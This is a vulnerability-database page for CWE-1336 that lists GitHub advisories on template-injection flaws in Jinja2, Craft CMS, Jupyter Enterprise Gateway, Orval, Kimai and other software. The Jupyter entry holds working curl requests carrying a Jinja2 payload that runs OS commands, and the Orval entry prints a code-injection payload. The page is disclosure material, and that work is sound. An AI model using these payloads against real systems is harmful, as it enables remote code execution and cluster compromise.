CWE-1336
AllowedImproper Neutralization of Special Elements Used in a Template Engine
Abstraction: Base · Status: Incomplete
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
411 vulnerabilities reference this CWE, most recent first.
GHSA-CPWX-VRP4-4PQ7
Vulnerability from github – Published: 2025-03-05 20:40 – Updated: 2025-11-03 22:54An oversight in how the Jinja sandboxed environment interacts with the |attr filter allows an attacker that controls the content of a template to execute arbitrary Python code.
To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.
Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to use the |attr filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the |attr filter no longer bypasses the environment's attribute lookup.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.5"
},
"package": {
"ecosystem": "PyPI",
"name": "Jinja2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27516"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-05T20:40:14Z",
"nvd_published_at": "2025-03-05T21:15:20Z",
"severity": "MODERATE"
},
"details": "An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja\u0027s sandbox does catch calls to `str.format` and ensures they don\u0027t escape the sandbox. However, it\u0027s possible to use the `|attr` filter to get a reference to a string\u0027s plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment\u0027s attribute lookup.",
"id": "GHSA-cpwx-vrp4-4pq7",
"modified": "2025-11-03T22:54:41Z",
"published": "2025-03-05T20:40:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27516"
},
{
"type": "WEB",
"url": "https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"
},
{
"type": "PACKAGE",
"url": "https://github.com/pallets/jinja"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Jinja2 vulnerable to sandbox breakout through attr filter selecting format method"
}
GHSA-CRCQ-738G-PQVC
Vulnerability from github – Published: 2025-08-25 20:42 – Updated: 2025-11-27 07:57Note that users must have administrator access to the Craft Control Panel, and allowAdminChanges must be enabled for this to work, which is against Craft CMS' recommendations for any non-dev environment.
https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production
Note: This is a follow-up to GHSA-f3cw-hg6r-chfv
Users should update to the patched versions (4.16.6 and 5.8.7) to mitigate the issue.
Resources: https://github.com/craftcms/cms/pull/17612
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.16.5"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.16.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.6"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.8.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-57811"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-22",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-25T20:42:45Z",
"nvd_published_at": "2025-08-25T18:15:31Z",
"severity": "MODERATE"
},
"details": "Note that users must have administrator access to the Craft Control Panel, and [allowAdminChanges](https://craftcms.com/docs/5.x/reference/config/general.html#allowadminchanges) must be enabled for this to work, which is against Craft CMS\u0027 recommendations for any non-dev environment.\n\nhttps://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production\n\nNote: This is a follow-up to [GHSA-f3cw-hg6r-chfv](https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv)\n\nUsers should update to the patched versions (4.16.6 and 5.8.7) to mitigate the issue.\n\nResources: https://github.com/craftcms/cms/pull/17612",
"id": "GHSA-crcq-738g-pqvc",
"modified": "2025-11-27T07:57:45Z",
"published": "2025-08-25T20:42:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-crcq-738g-pqvc"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57811"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/pull/17612"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/e77f8a287dcdda41f1724f525d03542f18566cbc"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS Potential Remote Code Execution via Twig SSTI"
}
GHSA-CW5C-XM7F-WX63
Vulnerability from github – Published: 2024-05-31 12:30 – Updated: 2025-10-22 00:33Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request. As of the CVE assignment date, Rejetto HFS 2.3m is no longer supported.
{
"affected": [],
"aliases": [
"CVE-2024-23692"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-31T10:15:09Z",
"severity": "CRITICAL"
},
"details": "Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request. As of the CVE assignment date, Rejetto HFS 2.3m is no longer supported.",
"id": "GHSA-cw5c-xm7f-wx63",
"modified": "2025-10-22T00:33:03Z",
"published": "2024-05-31T12:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23692"
},
{
"type": "WEB",
"url": "https://github.com/rapid7/metasploit-framework/pull/19240"
},
{
"type": "WEB",
"url": "https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce"
},
{
"type": "WEB",
"url": "https://vulncheck.com/advisories/rejetto-unauth-rce"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-23692"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2024-23692-detect-rejetto-hfs-vulnerability"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2024-23692-rejetto-hfs-mitigate-vulnerability"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/unauthenticated-rce-flaw-in-rejetto-http-file-server-cve-2024-23692"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CWGV-JWGM-R5F5
Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32Allegra getLinkText Server-Side Template Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Allegra. Authentication is required to exploit this vulnerability.
The specific flaw exists within the implementation of getLinkText method. The issue results from the lack of proper validation of a user-supplied string before processing it with the template engine. An attacker can leverage this vulnerability to execute code in the context of LOCAL SERVICE. Was ZDI-CAN-23609.
{
"affected": [],
"aliases": [
"CVE-2024-30372"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-22T20:15:08Z",
"severity": "HIGH"
},
"details": "Allegra getLinkText Server-Side Template Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Allegra. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of getLinkText method. The issue results from the lack of proper validation of a user-supplied string before processing it with the template engine. An attacker can leverage this vulnerability to execute code in the context of LOCAL SERVICE. Was ZDI-CAN-23609.",
"id": "GHSA-cwgv-jwgm-r5f5",
"modified": "2024-11-22T21:32:16Z",
"published": "2024-11-22T21:32:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30372"
},
{
"type": "WEB",
"url": "https://alltena.com/en/resources/release-notes/relnotes-7-5-2"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1165"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CXFR-5Q3R-2RC2
Vulnerability from github – Published: 2023-12-12 06:30 – Updated: 2024-11-22 18:14Improper Neutralization of Special Elements Used in a Template Engine in GitHub repository mlflow/mlflow prior to 2.9.2.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-6709"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-13T13:33:30Z",
"nvd_published_at": "2023-12-12T04:15:07Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements Used in a Template Engine in GitHub repository mlflow/mlflow prior to 2.9.2.",
"id": "GHSA-cxfr-5q3r-2rc2",
"modified": "2024-11-22T18:14:30Z",
"published": "2023-12-12T06:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6709"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/commit/432b8ccf27fd3a76df4ba79bb1bec62118a85625"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlflow/mlflow"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-281.yaml"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/9e4cc07b-6fff-421b-89bd-9445ef61d34d"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Jinja2 template injection in mlflow"
}
GHSA-F49J-V924-FX9W
Vulnerability from github – Published: 2026-06-03 21:36 – Updated: 2026-06-03 21:36Summary
The environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI).
By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service.
The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.
Details
The KERNEL_POD_NAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code:
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247
The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, in addition to kernel_pod_name discussed above, such as kernel_working_dir that are used when rendering the manifest and are all vectors for SSTI.
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77
These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137
PoC
Simple demonstration of SSTI using {{7 * 7}}
curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'
{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0}
Running kubectl get pods
NAME READY STATUS RESTARTS AGE
bdawg-49 1/1 Running 0 3m54s
Remote code execution - OS Commands via SSTI
curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'
{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07
NAME READY STATUS RESTARTS AGE
bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s
enterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.
Enterprise Gateway RBAC
The Enterprise Gateway service account has R/W access to several resource kinds.
Stolen Enterprise Gateway service account kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
rolebindings.rbac.authorization.k8s.io [] [] [get list create delete]
configmaps [] [] [get watch list create delete]
namespaces [] [] [get watch list create delete]
persistentvolumeclaims [] [] [get watch list create delete]
persistentvolumes [] [] [get watch list create delete]
pods [] [] [get watch list create delete]
secrets [] [] [get watch list create delete]
services [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
Impact
This is a server side template injection that leads to remote code execution (python and OS commands).
An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token.
It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "jupyter_enterprise_gateway"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0rc2"
},
{
"fixed": "3.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44181"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-03T21:36:05Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe environment variables (`KERNEL_XXX`) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI).\nBy including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service.\nThe code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a `hostPath` volume mount.\n\n### Details\n\nThe `KERNEL_POD_NAME` variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code:\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247\n\nThe Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, in addition to `kernel_pod_name` discussed above, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for SSTI.\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77\n\nThese values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase.\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137\n\n### PoC\n\n\n#### Simple demonstration of SSTI using `{{7 * 7}}`\n\n```bash\ncurl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data \u0027{\"name\":\"python_kubernetes\", \"env\": {\"KERNEL_POD_NAME\": \"bdawg-{{7 * 7}}\" }}\u0027\n```\n\n```json\n{\"id\": \"1094076f-35c6-48a5-ae60-0c943bb97a9a\", \"name\": \"python_kubernetes\", \"last_activity\": \"2025-07-17T07:14:42.155736Z\", \"execution_state\": \"starting\", \"connections\": 0}\n```\n\nRunning `kubectl get pods`\n```\nNAME READY STATUS RESTARTS AGE\nbdawg-49 1/1 Running 0 3m54s\n```\n\n#### Remote code execution - OS Commands via SSTI\n\n```bash\ncurl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data \u0027{\"name\":\"python_kubernetes\", \"env\": {\"KERNEL_POD_NAME\": \"bdawg-{{ cycler.__init__.__globals__.os.popen(\\\"hostname\\\").read() }}\", \"KERNEL_NAMESPACE\": \"notebooks\" }}\u0027\n```\n\n```json\n{\"id\": \"85ec9431-d005-48d5-8127-5f022f2c5780\", \"name\": \"python_kubernetes\", \"last_activity\": \"2025-07-17T07\n```\n\n```\nNAME READY STATUS RESTARTS AGE\nbdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s\n```\n\n`enterprise-gateway-8695685bc8-klm4m` is the hostname of the Enterprise Gateway pod.\n\n\n#### Enterprise Gateway RBAC\nThe Enterprise Gateway service account has R/W access to several resource kinds.\n\nStolen Enterprise Gateway service account `kubectl auth can-i --list`\n\n```\nResources Non-Resource URLs Resource Names Verbs\nselfsubjectreviews.authentication.k8s.io [] [] [create]\nselfsubjectaccessreviews.authorization.k8s.io [] [] [create]\nselfsubjectrulesreviews.authorization.k8s.io [] [] [create]\nrolebindings.rbac.authorization.k8s.io [] [] [get list create delete]\nconfigmaps [] [] [get watch list create delete]\nnamespaces [] [] [get watch list create delete]\npersistentvolumeclaims [] [] [get watch list create delete]\npersistentvolumes [] [] [get watch list create delete]\npods [] [] [get watch list create delete]\nsecrets [] [] [get watch list create delete]\nservices [] [] [get watch list create delete]\nscheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]\nscheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]\nsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]\nsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]\n [/.well-known/openid-configuration/] [] [get]\n [/.well-known/openid-configuration] [] [get]\n [/api/*] [] [get]\n [/api] [] [get]\n [/apis/*] [] [get]\n [/apis] [] [get]\n [/healthz] [] [get]\n [/healthz] [] [get]\n [/livez] [] [get]\n [/livez] [] [get]\n [/openapi/*] [] [get]\n [/openapi] [] [get]\n [/openid/v1/jwks/] [] [get]\n [/openid/v1/jwks] [] [get]\n [/readyz] [] [get]\n [/readyz] [] [get]\n [/version/] [] [get]\n [/version/] [] [get]\n [/version] [] [get]\n [/version] [] [get]\n```\n\n### Impact\nThis is a server side template injection that leads to remote code execution (python and OS commands).\n\nAn attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account\u0027s token.\nIt can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with `hostPath` mounts, which can be used to compromise the complete cluster and all workloads on it.",
"id": "GHSA-f49j-v924-fx9w",
"modified": "2026-06-03T21:36:05Z",
"published": "2026-06-03T21:36:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-f49j-v924-fx9w"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyter-server/enterprise_gateway"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection resulting in Remote Code Execution"
}
GHSA-FFRW-8P66-394J
Vulnerability from github – Published: 2024-11-18 09:31 – Updated: 2025-02-11 18:31Improper Control of Generation of Code ('Code Injection'), Cross-Site Request Forgery (CSRF), : Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.
This issue affects Apache OFBiz: before 18.12.17.
Users are recommended to upgrade to version 18.12.17, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2024-48962"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T09:15:06Z",
"severity": "HIGH"
},
"details": "Improper Control of Generation of Code (\u0027Code Injection\u0027), Cross-Site Request Forgery (CSRF), : Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 18.12.17.\n\nUsers are recommended to upgrade to version 18.12.17, which fixes the issue.",
"id": "GHSA-ffrw-8p66-394j",
"modified": "2025-02-11T18:31:20Z",
"published": "2024-11-18T09:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48962"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/OFBIZ-13162"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/6sddh4pts90cp8ktshqb4xykdp6lb6q6"
},
{
"type": "WEB",
"url": "https://ofbiz.apache.org/download.html"
},
{
"type": "WEB",
"url": "https://ofbiz.apache.org/security.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/11/16/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:C/RE:H/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-FG9P-MRXR-HVQ7
Vulnerability from github – Published: 2026-09-03 19:17 – Updated: 2026-09-03 19:17Summary
Orval emits the OpenAPI path into the generated request URL as a TEMPLATE LITERAL (`/users/...`) without escaping the backtick character. A path containing a backtick closes the template literal and injects a concatenation expression that is evaluated when the generated URL/request/key function is called, executing attacker-controlled code. Affects the axios, fetch, react-query, and swr clients. Verified on Orval 8.19.0; survives Orval's default OpenAPI validation.
Details
// generated URL builder (fetch client)
return `/users/` + (globalThis.X = require("fs").writeFileSync("/marker","pwned")) + `/list`;
The backtick in the path terminates the `...` literal; + (<code>) + runs as a live expression; a trailing backtick reopens a template literal so the file stays valid. The code runs whenever the generated request function, URL builder, or query-key function is called.
This is distinct from Orval's four published CVEs: CVE-2026-22785 (summary -> MCP server), CVE-2026-23947 / CVE-2026-25141 (x-enumDescriptions), and CVE-2026-24132 (const -> mock files). This is a different field (the route path) and a different sink (the request-URL template literal), which those advisories and their fixes do not cover.
PoC
reproduce.sh (+ make_spec.py) attached: generates a fetch client with default validation, bundles it, calls the generated functions, and shows a marker file written. Verified on 8.19.0.
Impact
Code execution in any environment that calls a client generated from an attacker-controlled or attacker-influenced OpenAPI description (developer, CI, or the running application).
Suggested fix
Escape the path before emitting it into the URL template literal (escape backtick and ${, or build the URL with an encoder that treats the path as data), and validate path characters.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "orval"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62681"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-116",
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T19:17:32Z",
"nvd_published_at": "2026-08-19T18:16:54Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nOrval emits the OpenAPI path into the generated request URL as a TEMPLATE LITERAL (`` `/users/...` ``) without escaping the backtick character. A path containing a backtick closes the template literal and injects a concatenation expression that is evaluated when the generated URL/request/key function is called, executing attacker-controlled code. Affects the axios, fetch, react-query, and swr clients. Verified on Orval 8.19.0; survives Orval\u0027s default OpenAPI validation.\n\n### Details\n\n```ts\n// generated URL builder (fetch client)\nreturn `/users/` + (globalThis.X = require(\"fs\").writeFileSync(\"/marker\",\"pwned\")) + `/list`;\n```\n\nThe backtick in the path terminates the `` `...` `` literal; `+ (\u003ccode\u003e) +` runs as a live expression; a trailing backtick reopens a template literal so the file stays valid. The code runs whenever the generated request function, URL builder, or query-key function is called.\n\nThis is distinct from Orval\u0027s four published CVEs: CVE-2026-22785 (`summary` -\u003e MCP server), CVE-2026-23947 / CVE-2026-25141 (`x-enumDescriptions`), and CVE-2026-24132 (`const` -\u003e mock files). This is a different field (the route path) and a different sink (the request-URL template literal), which those advisories and their fixes do not cover.\n\n### PoC\n\n`reproduce.sh` (+ `make_spec.py`) attached: generates a fetch client with default validation, bundles it, calls the generated functions, and shows a marker file written. Verified on 8.19.0.\n\n### Impact\n\nCode execution in any environment that calls a client generated from an attacker-controlled or attacker-influenced OpenAPI description (developer, CI, or the running application). \n\n### Suggested fix\n\nEscape the path before emitting it into the URL template literal (escape backtick and `${`, or build the URL with an encoder that treats the path as data), and validate path characters.",
"id": "GHSA-fg9p-mrxr-hvq7",
"modified": "2026-09-03T19:17:32Z",
"published": "2026-09-03T19:17:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/orval-labs/orval/security/advisories/GHSA-fg9p-mrxr-hvq7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62681"
},
{
"type": "WEB",
"url": "https://github.com/orval-labs/orval/pull/3692"
},
{
"type": "WEB",
"url": "https://github.com/orval-labs/orval/commit/8ef1bfdf3f9bcaf9dabfbe2e42887f1c0e159ab6"
},
{
"type": "PACKAGE",
"url": "https://github.com/orval-labs/orval"
},
{
"type": "WEB",
"url": "https://github.com/orval-labs/orval/releases/tag/v8.21.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Orval: RCE via OpenAPI path -\u003e unescaped request-URL template literal (backtick breakout)"
}
GHSA-FJHG-96CP-6FCW
Vulnerability from github – Published: 2023-10-30 15:40 – Updated: 2023-10-30 15:40Description
The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.
Snippet of Vulnerable Code:
public function render(array $timesheets, TimesheetQuery $query): Response
{
...
$content = $this->twig->render($this->getTemplate(), array_merge([
'entries' => $timesheets,
'query' => $query,
...
], $this->getOptions($query)));
...
$content = $this->converter->convertToPdf($content, $pdfOptions);
...
return $this->createPdfResponse($content, $context);
}
The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.
In below, you can find the docker-compose file was used for this testing:
version: '3.5'
services:
sqldb:
image: mysql:5.7
environment:
- MYSQL_ROOT_HOST='%'
- MYSQL_DATABASE=kimai
- MYSQL_USER=kimaiuser
- MYSQL_PASSWORD=kimaipassword
- MYSQL_ROOT_PASSWORD=changemeplease
ports:
- 3336:3306
volumes:
- mysql:/var/lib/mysql
command: --default-storage-engine innodb
restart: unless-stopped
healthcheck:
test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1
interval: 20s
start_period: 10s
timeout: 10s
retries: 3
nginx:
image: tobybatch/nginx-fpm-reverse-proxy
ports:
- 8001:80
volumes:
- public:/opt/kimai/public:ro
restart: unless-stopped
depends_on:
- kimai
healthcheck:
test: wget --spider http://nginx/health || exit 1
interval: 20s
start_period: 10s
timeout: 10s
retries: 3
kimai: # This is the latest FPM image of kimai
image: kimai/kimai2:fpm-prod
environment:
